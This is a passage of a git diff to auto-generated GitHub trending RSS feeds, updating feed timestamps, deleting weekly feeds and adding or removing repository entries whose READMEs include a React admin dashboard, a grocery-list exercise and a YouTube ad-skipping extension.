(/sanitize-p t/) (/path-prefix/ ""))</p> <p>Example: <del>(systems-archive (deptree "hunchentoot") #p"/tmp/hunchentoot-deps.tgz")</del></p> <p>Before archiving, make sure the dependencies are in fact present on your host. If you are using Quicklisp it's as easy as quickload-ing the system.</p> <p>All systems directories are stored flat (with prepeneded <del>:PATH-PREFIX</del>) regardless their original absolute pathnames. Since feature-conditional dependencies are honored, please ensure you're archiving from the relevant platform.</p> <p>Unless <del>:SANITIZE-P</del> is NIL, the function will clean up git and Mercurial DVCS data from the archives.</p> - \ No newline at end of file diff --git a/common-lisp/weekly/index.xml b/common-lisp/weekly/index.xml deleted file mode 100644 index e364285c526..00000000000 --- a/common-lisp/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Common Lisp Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:12Z - Weekly Trending of Common Lisp in GitHub - - \ No newline at end of file diff --git a/common-workflow-language/daily/index.xml b/common-workflow-language/daily/index.xml index 3e2e35e3e7b..a6b7bafef8b 100644 --- a/common-workflow-language/daily/index.xml +++ b/common-workflow-language/daily/index.xml @@ -1,7 +1,7 @@ GitHub Common Workflow Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:22Z + 2023-10-30T01:26:10Z Daily Trending of Common Workflow Language in GitHub \ No newline at end of file diff --git a/common-workflow-language/weekly/index.xml b/common-workflow-language/weekly/index.xml deleted file mode 100644 index 0d0632b3329..00000000000 --- a/common-workflow-language/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Common Workflow Language Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:15Z - Weekly Trending of Common Workflow Language in GitHub - - \ No newline at end of file diff --git a/component-pascal/daily/index.xml b/component-pascal/daily/index.xml index 70f34ede3ce..25b4ee4205e 100644 --- a/component-pascal/daily/index.xml +++ b/component-pascal/daily/index.xml @@ -1,7 +1,7 @@ GitHub Component Pascal Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:21Z + 2023-10-30T01:26:07Z Daily Trending of Component Pascal in GitHub \ No newline at end of file diff --git a/component-pascal/weekly/index.xml b/component-pascal/weekly/index.xml deleted file mode 100644 index f7338579528..00000000000 --- a/component-pascal/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Component Pascal Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:17Z - Weekly Trending of Component Pascal in GitHub - - \ No newline at end of file diff --git a/conll-u/daily/index.xml b/conll-u/daily/index.xml index 9b2db3f40c9..2368f471f0e 100644 --- a/conll-u/daily/index.xml +++ b/conll-u/daily/index.xml @@ -1,7 +1,7 @@ GitHub CoNLL-U Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:22Z + 2023-10-30T01:26:08Z Daily Trending of CoNLL-U in GitHub \ No newline at end of file diff --git a/conll-u/weekly/index.xml b/conll-u/weekly/index.xml deleted file mode 100644 index 26c910a978c..00000000000 --- a/conll-u/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub CoNLL-U Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:16Z - Weekly Trending of CoNLL-U in GitHub - - \ No newline at end of file diff --git a/cool/daily/index.xml b/cool/daily/index.xml index 45db61450ac..fd0d4d1b666 100644 --- a/cool/daily/index.xml +++ b/cool/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cool Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:20Z + 2023-10-30T01:26:09Z Daily Trending of Cool in GitHub \ No newline at end of file diff --git a/cool/weekly/index.xml b/cool/weekly/index.xml deleted file mode 100644 index 32a89fac9eb..00000000000 --- a/cool/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Cool Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:14Z - Weekly Trending of Cool in GitHub - - \ No newline at end of file diff --git a/coq/daily/index.xml b/coq/daily/index.xml index d797ffd5638..30096a4b77f 100644 --- a/coq/daily/index.xml +++ b/coq/daily/index.xml @@ -1,7 +1,14 @@ GitHub Coq Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:25Z + 2023-10-30T01:26:11Z Daily Trending of Coq in GitHub + + verif-scop/PolCert + 2023-10-30T01:26:11Z + tag:github.com,2023-10-30:/verif-scop/PolCert + + <p>A verified polyhedral scheduling validator in Coq.</p><hr> + \ No newline at end of file diff --git a/coq/weekly/index.xml b/coq/weekly/index.xml deleted file mode 100644 index 23c846d8c3d..00000000000 --- a/coq/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Coq Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:22Z - Weekly Trending of Coq in GitHub - - \ No newline at end of file diff --git a/cpp-objdump/daily/index.xml b/cpp-objdump/daily/index.xml index be06355b2e2..62665d061c6 100644 --- a/cpp-objdump/daily/index.xml +++ b/cpp-objdump/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cpp-ObjDump Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:24Z + 2023-10-30T01:26:12Z Daily Trending of Cpp-ObjDump in GitHub \ No newline at end of file diff --git a/cpp-objdump/weekly/index.xml b/cpp-objdump/weekly/index.xml deleted file mode 100644 index b06c08c8bba..00000000000 --- a/cpp-objdump/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Cpp-ObjDump Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:20Z - Weekly Trending of Cpp-ObjDump in GitHub - - \ No newline at end of file diff --git a/creole/daily/index.xml b/creole/daily/index.xml index de6b4c11749..4f7f060deda 100644 --- a/creole/daily/index.xml +++ b/creole/daily/index.xml @@ -1,7 +1,7 @@ GitHub Creole Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:23Z + 2023-10-30T01:26:12Z Daily Trending of Creole in GitHub \ No newline at end of file diff --git a/creole/weekly/index.xml b/creole/weekly/index.xml deleted file mode 100644 index ea862360456..00000000000 --- a/creole/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Creole Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:21Z - Weekly Trending of Creole in GitHub - - \ No newline at end of file diff --git a/crystal/daily/index.xml b/crystal/daily/index.xml index 464585bcfce..ff44f5cf7c8 100644 --- a/crystal/daily/index.xml +++ b/crystal/daily/index.xml @@ -1,14 +1,7 @@ GitHub Crystal Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:27Z + 2023-10-30T01:26:14Z Daily Trending of Crystal in GitHub - - amberframework/granite - 2023-10-29T01:29:27Z - tag:github.com,2023-10-29:/amberframework/granite - - <p>ORM Model with Adapters for mysql, pg, sqlite in the Crystal Language.</p><hr> - \ No newline at end of file diff --git a/crystal/weekly/index.xml b/crystal/weekly/index.xml deleted file mode 100644 index bedfbff6eed..00000000000 --- a/crystal/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Crystal Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:19Z - Weekly Trending of Crystal in GitHub - - \ No newline at end of file diff --git a/cson/daily/index.xml b/cson/daily/index.xml index 15fbe98ec48..a5c3a816aa2 100644 --- a/cson/daily/index.xml +++ b/cson/daily/index.xml @@ -1,7 +1,7 @@ GitHub CSON Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:28Z + 2023-10-30T01:26:15Z Daily Trending of CSON in GitHub \ No newline at end of file diff --git a/cson/weekly/index.xml b/cson/weekly/index.xml deleted file mode 100644 index 8193c1eb6bc..00000000000 --- a/cson/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub CSON Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:26Z - Weekly Trending of CSON in GitHub - - \ No newline at end of file diff --git a/csound-document/daily/index.xml b/csound-document/daily/index.xml index c47844e53bc..785c1cc0734 100644 --- a/csound-document/daily/index.xml +++ b/csound-document/daily/index.xml @@ -1,7 +1,7 @@ GitHub Csound Document Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:29Z + 2023-10-30T01:26:17Z Daily Trending of Csound Document in GitHub \ No newline at end of file diff --git a/csound-document/weekly/index.xml b/csound-document/weekly/index.xml deleted file mode 100644 index 0c24688bb5d..00000000000 --- a/csound-document/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Csound Document Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:23Z - Weekly Trending of Csound Document in GitHub - - \ No newline at end of file diff --git a/csound-score/daily/index.xml b/csound-score/daily/index.xml index 8880506caf0..911f297c3c6 100644 --- a/csound-score/daily/index.xml +++ b/csound-score/daily/index.xml @@ -1,7 +1,7 @@ GitHub Csound Score Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:30Z + 2023-10-30T01:26:16Z Daily Trending of Csound Score in GitHub \ No newline at end of file diff --git a/csound-score/weekly/index.xml b/csound-score/weekly/index.xml deleted file mode 100644 index 8d3bb8e72ca..00000000000 --- a/csound-score/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Csound Score Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:25Z - Weekly Trending of Csound Score in GitHub - - \ No newline at end of file diff --git a/csound/daily/index.xml b/csound/daily/index.xml index a0c3dcd606d..62befb9e4c4 100644 --- a/csound/daily/index.xml +++ b/csound/daily/index.xml @@ -1,7 +1,7 @@ GitHub Csound Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:29Z + 2023-10-30T01:26:15Z Daily Trending of Csound in GitHub \ No newline at end of file diff --git a/csound/weekly/index.xml b/csound/weekly/index.xml deleted file mode 100644 index 2cc258cf66a..00000000000 --- a/csound/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Csound Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:24Z - Weekly Trending of Csound in GitHub - - \ No newline at end of file diff --git a/css/daily/index.xml b/css/daily/index.xml index ea9e2071ffa..22a5bbaac76 100644 --- a/css/daily/index.xml +++ b/css/daily/index.xml @@ -1,28 +1,7 @@ GitHub CSS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:29:37Z + 2023-10-30T01:26:23Z Daily Trending of CSS in GitHub - - RandolphDR/Randolph-Flowers - 2023-10-29T01:29:37Z - tag:github.com,2023-10-29:/RandolphDR/Randolph-Flowers - - <p>Code not mine copyright only for educational purposes!</p><hr> - - - creativetimofficial/paper-dashboard-react - 2023-10-29T01:29:37Z - tag:github.com,2023-10-29:/creativetimofficial/paper-dashboard-react - - <p></p><hr><h1><a href="https://demos.creative-tim.com/paper-dashboard-react/#/dashboard">Paper Dashboard React</a> <a href="https://twitter.com/intent/tweet?url=https%3A%2F%2Fdemos.creative-tim.com%2Fpaper-dashboard-react%2F%23%2Fdashboard&amp;text=Paper%20Dashboard%20React%20by%20Creative%20Tim%20%7C%20Free%20React%20Admin%20Template&amp;original_referer=https%3A%2F%2Fdemos.creative-tim.com%2Fpaper-dashboard-react%2F&amp;via=creativetim&amp;hashtags=react%2Ccreativetim%2Cpaper%2Cdashboard%2Cbootstrap%2Creactstrap%2Creactjs"><img src="https://img.shields.io/twitter/url/http/shields.io.svg?style=social&amp;logo=twitter" alt="Tweet"></a></h1> <p><img src="https://img.shields.io/badge/version-1.3.2-blue.svg?sanitize=true" alt="version"> <img src="https://img.shields.io/badge/license-MIT-blue.svg?sanitize=true" alt="license"> <a href=""><img src="https://img.shields.io/github/issues/creativetimofficial/paper-dashboard-react.svg?maxAge=2592000" alt="GitHub issues open"></a> <a href=""><img src="https://img.shields.io/github/issues-closed-raw/creativetimofficial/paper-dashboard-react.svg?maxAge=2592000" alt="GitHub issues closed"></a> <a href="https://discord.gg/E4aHAQy"><img src="https://img.shields.io/badge/chat-on%20discord-7289da.svg?sanitize=true" alt="Chat"></a></p> <p><img src="https://raw.githubusercontent.com/creativetimofficial/paper-dashboard-react/main/src/assets/github/paper-dashboard-react.gif" alt="Product Gif"></p> <p>If you are a react developer or a react website owner that needs to work within a dashboard and want to have a pretty sight while doing so, Paper Dashboard React is for you. Paper Dashboard React is a Bootstrap Admin Panel which combines soft colours with beautiful typography and spacious cards and graphics. It is a powerful tool, but it is light and easy to use. It has enough features to allow you to get the job done, but it is not crowded to the point where you can't find the files for a specific plugin.</p> <p>We like consistency and design that blends into its purpose. Paper Dashboard React is a perfect example of our most thoughtful work. It combines over a dozen components and plugins, while looking like everything fits together. For an easy start or inspiration for you project, we have also create a set of example pages, like the user settings or usage graphics.</p> <p>Paper Dashboard React is built using the same design language as <a href="https://www.creative-tim.com/product/paper-dashboard-2">Paper Dashboard 2</a>.</p> <p><strong>Bootstrap 4 Support</strong> Paper Dashboard React is built on top of the much awaited Bootstrap 4 and uses the most used react framework that implements the Bootstrap 4 components on react, reactstrap. This makes starting a new project very simple. It also provides benefits if you are already working on a Bootstrap 4 and/or reactstrap project; you can just import the Paper Dashboard React style over it. Most of the elements have been redesigned; but if you are using an element we have not touched, it will fall back to the Bootstrap default.</p> <p><strong>Example Pages</strong> We wanted to fully display the power of this dashboard, so the kit comes packed with examples showing you how to use the components.</p> <h2>Table of Contents</h2> <ul> <li><a href="https://raw.githubusercontent.com/creativetimofficial/paper-dashboard-react/main/#versions">Versions</a></li> <li><a href="https://raw.githubusercontent.com/creativetimofficial/paper-dashboard-react/main/#demo">Demo</a></li> <li><a href="https://raw.githubusercontent.com/creativetimofficial/paper-dashboard-react/main/#quick-start">Quick Start</a></li> <li><a href="https://raw.githubusercontent.com/creativetimofficial/paper-dashboard-react/main/#documentation">Documentation</a></li> <li><a href="https://raw.githubusercontent.com/creativetimofficial/paper-dashboard-react/main/#file-structure">File Structure</a></li> <li><a href="https://raw.githubusercontent.com/creativetimofficial/paper-dashboard-react/main/#browser-support">Browser Support</a></li> <li><a href="https://raw.githubusercontent.com/creativetimofficial/paper-dashboard-react/main/#resources">Resources</a></li> <li><a href="https://raw.githubusercontent.com/creativetimofficial/paper-dashboard-react/main/#reporting-issues">Reporting Issues</a></li> <li><a href="https://raw.githubusercontent.com/creativetimofficial/paper-dashboard-react/main/#technical-support-or-questions">Technical Support or Questions</a></li> <li><a href="https://raw.githubusercontent.com/creativetimofficial/paper-dashboard-react/main/#licensing">Licensing</a></li> <li><a href="https://raw.githubusercontent.com/creativetimofficial/paper-dashboard-react/main/#useful-links">Useful Links</a></li> </ul> <h2>Versions</h2> <p><a href="https://www.creative-tim.com/product/paper-dashboard-2"><img src="https://s3.amazonaws.com/creativetim_bucket/github/html.png" width="60" height="60"></a> <a href="https://www.creative-tim.com/product/paper-dashboard-react"><img src="https://s3.amazonaws.com/creativetim_bucket/github/react.svg?sanitize=true" width="60" height="60"></a></p> <table> <thead> <tr> <th>HTML</th> <th>React</th> </tr> </thead> <tbody> <tr> <td><a href="https://www.creative-tim.com/product/paper-dashboard-2"><img src="https://s3.amazonaws.com/creativetim_bucket/products/86/thumb/opt_pd2_thumbnail.jpg" alt="Paper Dashboard 2 HTML"></a></td> <td><a href="https://www.creative-tim.com/product/paper-dashboard-react"><img src="https://s3.amazonaws.com/creativetim_bucket/products/98/thumb/opt_pd_react_thumbnail.jpg" alt="Paper Dashboard React"></a></td> </tr> </tbody> </table> <h2>Demo</h2> <table> <thead> <tr> <th>Dashboard</th> <th>User Profile</th> <th>Tables</th> <th>Maps</th> <th>Notification</th> </tr> </thead> <tbody> <tr> <td><a href="https://demos.creative-tim.com/paper-dashboard-react/#/dashboard"><img src="https://raw.githubusercontent.com/creativetimofficial/paper-dashboard-react/main/src/assets/github/paper-dashboard-react-dashboard-page.png" alt="Start page"></a></td> <td><a href="https://demos.creative-tim.com/paper-dashboard-react/#/user-page"><img src="https://raw.githubusercontent.com/creativetimofficial/paper-dashboard-react/main/src/assets/github/paper-dashboard-react-user-page.png" alt="User profile page"></a></td> <td><a href="https://demos.creative-tim.com/paper-dashboard-react/#/table-list"><img src="https://raw.githubusercontent.com/creativetimofficial/paper-dashboard-react/main/src/assets/github/paper-dashboard-react-table-page.png" alt="Tables page "></a></td> <td><a href="https://demos.creative-tim.com/paper-dashboard-react/#/maps"><img src="https://raw.githubusercontent.com/creativetimofficial/paper-dashboard-react/main/src/assets/github/paper-dashboard-react-maps-page.png" alt="Maps Page"></a></td> <td><a href="https://demos.creative-tim.com/paper-dashboard-react/#/notifications"><img src="https://raw.githubusercontent.com/creativetimofficial/paper-dashboard-react/main/src/assets/github/paper-dashboard-react-notifications-page.png" alt="Notification page"></a></td> </tr> </tbody> </table> <p><a href="https://demos.creative-tim.com/paper-dashboard-react/#/dashboard">View More</a>.</p> <h2>Quick start</h2> <p>Quick start options:</p> <ul> <li><code>npm i paper-dashboard-react</code></li> <li>Clone the repo: <code>git clone https://github.com/creativetimofficial/paper-dashboard-react.git</code>.</li> <li><a href="https://github.com/creativetimofficial/paper-dashboard-react/archive/main.zip">Download from Github</a>.</li> <li><a href="https://www.creative-tim.com/product/paper-dashboard-react">Download from Creative Tim</a>.</li> </ul> <h2>Documentation</h2> <p>The documentation for the Paper Dashboard React is hosted at our <a href="https://demos.creative-tim.com/paper-dashboard-react/#/documentation/tutorial">website</a>.</p> <h2>File Structure</h2> <p>Within the download you'll find the following directories and files:</p> <pre><code>├── CHANGELOG.md ├── ISSUE_TEMPLATE.md ├── LICENSE.md ├── README.md ├── docs │&nbsp;&nbsp; └── documentation.html ├── jsconfig.json ├── package.json ├── public │&nbsp;&nbsp; ├── favicon.ico │&nbsp;&nbsp; ├── index.html │&nbsp;&nbsp; └── manifest.json └── src ├── index.js ├── logo-white.svg ├── logo.svg ├── routes.js ├── components │&nbsp;&nbsp; ├── FixedPlugin │&nbsp;&nbsp; │&nbsp;&nbsp; └── FixedPlugin.jsx │&nbsp;&nbsp; ├── Footer │&nbsp;&nbsp; │&nbsp;&nbsp; └── Footer.jsx │&nbsp;&nbsp; ├── Navbars │&nbsp;&nbsp; │&nbsp;&nbsp; └── DemoNavbar.jsx │&nbsp;&nbsp; └── Sidebar │&nbsp;&nbsp; └── Sidebar.jsx ├── layouts │&nbsp;&nbsp; └── Admin.jsx ├── variables │&nbsp;&nbsp; ├── charts.jsx │&nbsp;&nbsp; ├── general.jsx │&nbsp;&nbsp; └── icons.jsx ├── views │ ├── Dashboard.jsx │ ├── Icons.jsx │ ├── Map.jsx │ ├── Notifications.jsx │ ├── Tables.jsx │ ├── Typography.jsx │ ├── Upgrade.jsx │ └── User.jsx └── assets &nbsp;&nbsp; ├── css &nbsp;&nbsp; │&nbsp;&nbsp; ├── paper-dashboard.css &nbsp;&nbsp; │&nbsp;&nbsp; ├── paper-dashboard.css.map &nbsp;&nbsp; │&nbsp;&nbsp; └── paper-dashboard.min.css &nbsp;&nbsp; ├── demo &nbsp;&nbsp; ├── fonts &nbsp;&nbsp; ├── github &nbsp;&nbsp; ├── img &nbsp;&nbsp; │&nbsp;&nbsp; └── faces &nbsp;&nbsp; └── scss &nbsp;&nbsp; ├── paper-dashboard &nbsp;&nbsp; │&nbsp;&nbsp; ├── cards &nbsp;&nbsp; │&nbsp;&nbsp; ├── mixins &nbsp;&nbsp; │&nbsp;&nbsp; ├── plugins &nbsp;&nbsp; │&nbsp;&nbsp; └── react &nbsp;&nbsp; │&nbsp;&nbsp; ├── custom &nbsp;&nbsp; │&nbsp;&nbsp; └── react-differences.scss &nbsp;&nbsp; └── paper-dashboard.scss </code></pre> <h2>Browser Support</h2> <p>At present, we officially aim to support the last two versions of the following browsers:</p> <p><img src="https://s3.amazonaws.com/creativetim_bucket/github/browser/chrome.png" width="64" height="64"> <img src="https://s3.amazonaws.com/creativetim_bucket/github/browser/firefox.png" width="64" height="64"> <img src="https://s3.amazonaws.com/creativetim_bucket/github/browser/edge.png" width="64" height="64"> <img src="https://s3.amazonaws.com/creativetim_bucket/github/browser/safari.png" width="64" height="64"> <img src="https://s3.amazonaws.com/creativetim_bucket/github/browser/opera.png" width="64" height="64"></p> <h2>Resources</h2> <ul> <li>Demo: <a href="https://demos.creative-tim.com/paper-dashboard-react/#/dashboard">https://demos.creative-tim.com/paper-dashboard-react/#/dashboard</a></li> <li>Download Page: <a href="https://www.creative-tim.com/product/paper-dashboard-react">https://www.creative-tim.com/product/paper-dashboard-react</a></li> <li>Documentation: <a href="https://demos.creative-tim.com/paper-dashboard-react/#/documentation/tutorial">https://demos.creative-tim.com/paper-dashboard-react/#/documentation/tutorial</a></li> <li>License Agreement: <a href="https://www.creative-tim.com/license">https://www.creative-tim.com/license</a></li> <li>Support: <a href="https://www.creative-tim.com/contact-us">https://www.creative-tim.com/contact-us</a></li> <li>Issues: <a href="https://github.com/creativetimofficial/paper-dashboard-react/issues">Github Issues Page</a></li> </ul> <h2>Reporting Issues</h2> <p>We use GitHub Issues as the official bug tracker for the Paper Dashboard React. Here are some advices for our users that want to report an issue:</p> <ol> <li>Make sure that you are using the latest version of the Paper Dashboard React. Check the CHANGELOG from your dashboard on our <a href="https://www.creative-tim.com/">website</a>.</li> <li>Providing us reproducible steps for the issue will shorten the time it takes for it to be fixed.</li> <li>Some issues may be browser specific, so specifying in what browser you encountered the issue might help.</li> </ol> <h2>Technical Support or Questions</h2> <p>If you have questions or need help integrating the product please <a href="https://www.creative-tim.com/contact-us">contact us</a> instead of opening an issue.</p> <h2>Licensing</h2> <ul> <li>Copyright 2023 Creative Tim (<a href="https://www.creative-tim.com">https://www.creative-tim.com</a>)</li> <li>Licensed under MIT (<a href="https://github.com/creativetimofficial/paper-dashboard-react/raw/main/LICENSE.md">https://github.com/creativetimofficial/paper-dashboard-react/blob/main/LICENSE.md</a>)</li> </ul> <h2>Useful Links</h2> <p>More products from Creative Tim: <a href="https://www.creative-tim.com/products">https://www.creative-tim.com/products</a></p> <p>Tutorials: <a href="https://www.youtube.com/channel/UCVyTG4sCw-rOvB9oHkzZD1w">https://www.youtube.com/channel/UCVyTG4sCw-rOvB9oHkzZD1w</a></p> <p>Freebies: <a href="https://www.creative-tim.com/products">https://www.creative-tim.com/products</a></p> <p>Affiliate Program (earn money): <a href="https://www.creative-tim.com/affiliates/new">https://www.creative-tim.com/affiliates/new</a></p> <p>Social Media:</p> <p>Twitter: <a href="https://twitter.com/CreativeTim">https://twitter.com/CreativeTim</a></p> <p>Facebook: <a href="https://www.facebook.com/CreativeTim">https://www.facebook.com/CreativeTim</a></p> <p>Dribbble: <a href="https://dribbble.com/creativetim">https://dribbble.com/creativetim</a></p> <p>Google+: <a href="https://plus.google.com/+CreativetimPage">https://plus.google.com/+CreativetimPage</a></p> <p>Instagram: <a href="https://instagram.com/creativetimofficial">https://instagram.com/creativetimofficial</a></p> - - - toriekimFSA/Flex.Demo.GroceryList - 2023-10-29T01:29:37Z - tag:github.com,2023-10-29:/toriekimFSA/Flex.Demo.GroceryList - - <p></p><hr><h1>Flex Review: JavaScript &amp; DOM</h1> <h2>Demo: Grocery List</h2> <p>In this demo, you will be creating a grocery list where you can add items to the list and clear all items from the list.</p> <h3>Requirements</h3> <ul> <li>The HTML does not contain any hard-coded data about grocery items</li> <li>Use <code>document.querySelector</code></li> <li>The program initializes a state with a grocery list with at least 2 items</li> <li>When the "Add" button is clicked, a new item is added to the grocery list <ul> <li>Can be from items array OR a new item with a <strong>random price</strong> and <strong>random quantity</strong></li> <li><strong><em>Extra</em></strong>: Make sure input value is not empty before adding to the list</li> <li><strong><em>Extra</em></strong>: If the item already exists in the grocery list, add to and update the item</li> </ul> </li> <li>When the "Clear Items" button is clicked, all items are cleared</li> <li>A function is written that correctly calculates the total price of all the items on the grocery list</li> <li>A function is written that correctly calculates the total qty of all the items on the grocery list</li> <li>The DOM is updated to reflect the total price and total quantity</li> </ul> <p>Sample solution code on the <code>solution</code> branch.</p> <h3>Extra Challenges</h3> <p>Expand this simple app by adding the following features:</p> <ul> <li>Add <code>-</code> and <code>+</code> buttons on either side of an item's quantity <ul> <li>When you click <code>-</code>, the item's quantity decreases by 1</li> <li>When you click <code>+</code>, the item's quantity increases by 1</li> </ul> </li> <li>Add a hover effect over a <code>&lt;tr&gt;</code> line item</li> <li>When you click on an item (<code>&lt;tr&gt;</code>), cross it out, i.e. <del>strikethrough</del></li> <li>Add delete/clear 1 item functionality</li> </ul> <h3>Credit</h3> <p>Inspired by Grocery Bud from <a href="https://github.com/john-smilga/javascript-basic-projects/tree/master/14-grocery-bud">javascript-basic-projects</a> by John Smilga</p> - \ No newline at end of file diff --git a/css/weekly/index.xml b/css/weekly/index.xml deleted file mode 100644 index 883de5f5030..00000000000 --- a/css/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub CSS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:49:34Z - Weekly Trending of CSS in GitHub - - - 0x48piraj/fadblock - 2023-10-29T01:49:34Z - tag:github.com,2023-10-29:/0x48piraj/fadblock - - <p>Friendly Adblock for YouTube: A fast, lightweight, and undetectable YouTube Ads Blocker for Chrome, Opera and Firefox.</p><hr><p align="center"> <img src="https://github.com/0x48piraj/fadblock/assets/5800726/cf39ef9f-779b-43ca-93f7-ee0bb2a93323" alt="fadblock: A fast, lightweight, and undetectable YouTube Ads Blocker for Chrome, Opera and Firefox"> <br> <sub>A fast, lightweight, and undetectable YouTube Ads Blocker for Chrome, Opera and Firefox.</sub> </p> <p align="center"> <a href="https://addons.mozilla.org/addon/fadblock/"><img src="https://user-images.githubusercontent.com/585534/107280546-7b9b2a00-6a26-11eb-8f9f-f95932f4bfec.png" alt="Get uBlock Origin for Firefox"></a> <a href="https://chrome.google.com/webstore/detail/fadblock/mdadjjfmjhfcibgfhfjbaiiljpllkbfc"><img src="https://user-images.githubusercontent.com/585534/107280622-91a8ea80-6a26-11eb-8d07-77c548b28665.png" alt="Get uBlock Origin for Chromium"></a> <a href="https://raw.githubusercontent.com/0x48piraj/fadblock/master/#opera--edge"><img src="https://user-images.githubusercontent.com/585534/107280692-ac7b5f00-6a26-11eb-85c7-088926504452.png" alt="Get uBlock Origin for Opera"></a> </p> <h1 align="center">FadBlock: Friendly Adblock for Youtube™</h1> <p>This was posted over reddit a few months ago, <a href="https://www.reddit.com/r/youtube/comments/13cfdbi/apparently_ad_blockers_are_not_allowed_on_youtube/?rdt=64832">Apparently Ad Blockers are not allowed on Youtube. Is this a new thing they've implemented?</a> and judging by all the recent comments and posts all over <a href="https://www.reddit.com/r/youtube/">r/youtube</a>, this change was just rolled out on a <strong>larger scale</strong>.</p> <p>This blocker is designed to monitor advertisements, automatically seek the ads and skip them. It's important to note that this doesn't classify as traditional ad blocking, as the ad content is technically "loaded".</p> <p>Nevertheless, the extension's underlying logic enables it to fast-forward through the ad content to its conclusion. The entire process is optimized to occur within an extremely brief timeframe, typically <strong>&lt;=100 milliseconds</strong>, ensuring a smooth and uninterrupted user experience.</p> <h3>MAJOR ANNOUNCEMENT <span>📣</span><span>📣</span><span>📣</span></h3> <p><em>Faster, smoother and better than ever!</em></p> <p>The upcoming version will utilize a custom <code>MutationObserver</code> with polyfill to ensure <strong>compatibility with older browsers</strong>. This was the initial reason for not implementing <code>MO</code> from the start.</p> <p>The next version will expand onto <strong>YouTube Music</strong> <span>🎉</span>, will have a <strong>blocked-ads counter</strong> while including other niche features as well as proposed bugfixes <span>🚀</span>.</p> <p>As this project has demanded a substantial amount of time, the repository will transition to an <em>open-core model for ongoing maintenance and updates</em> <span>✨</span>.</p> <h2>Features</h2> <p>This extension effectively eliminates all categories of YouTube advertisements:</p> <p><strong>Category 1:</strong> Ads visible on the homepage.</p> <p><strong>Category 2:</strong> Ads overlaid atop the suggested video list.</p> <p><strong>Category 3:</strong> Ads displayed below the video description.</p> <blockquote> <p>Starting on April 6th, 2023, the “Overlay ads” ad format will no longer appear on YouTube to help improve the viewer experience and shift engagement to higher performing ad formats on desktop and mobile devices. Overlay ads are a legacy ad format that only served on desktop and are disruptive for viewers.</p> </blockquote> <p><strong>Category 4:</strong> Skippable 5-second-must-be-watched video ads, which may be positioned at the video's start, midway, or at the end.</p> <p><strong>Category 5:</strong> Ads similar to Category 4, but with two consecutive video ads instead of one.</p> <p><strong>Category 6:</strong> Inescapable 10-second video ads, which must be watched.</p> <h2>FAQ</h2> <ol> <li><strong>It is not working!</strong></li> </ol> <p>You will have to <strong>disable other adblockers as they are getting detected</strong>. It's not due to FadBlock as the technique it uses is completely different than other adblockers. It's hacky but it works and Google can't do jack <em>(for the most part)</em>.</p> <p>Some of the extensions that does not and do work with fadblock are listed down below,</p> <table> <thead> <tr> <th>Name of the extension</th> <th>Getting detected</th> </tr> </thead> <tbody> <tr> <td>uBlock Origin</td> <td>✔️</td> </tr> <tr> <td>Enhancer For Youtube</td> <td>✔️</td> </tr> <tr> <td>SponsorBlock for YouTube</td> <td>❌ <em>(probably)</em></td> </tr> <tr> <td>Return YouTube Dislike</td> <td>❌</td> </tr> <tr> <td>Malwarebytes extension</td> <td>✔️</td> </tr> <tr> <td>Brave in-built adblock</td> <td>✔️</td> </tr> <tr> <td>Firefox in-built adblock</td> <td>✔️</td> </tr> </tbody> </table> <blockquote> <p>You can also add <em>youtube.com</em> to the exception list for domains on other adblockers (uBlock Origin, AdBlock) and then download FadBlock to override regular 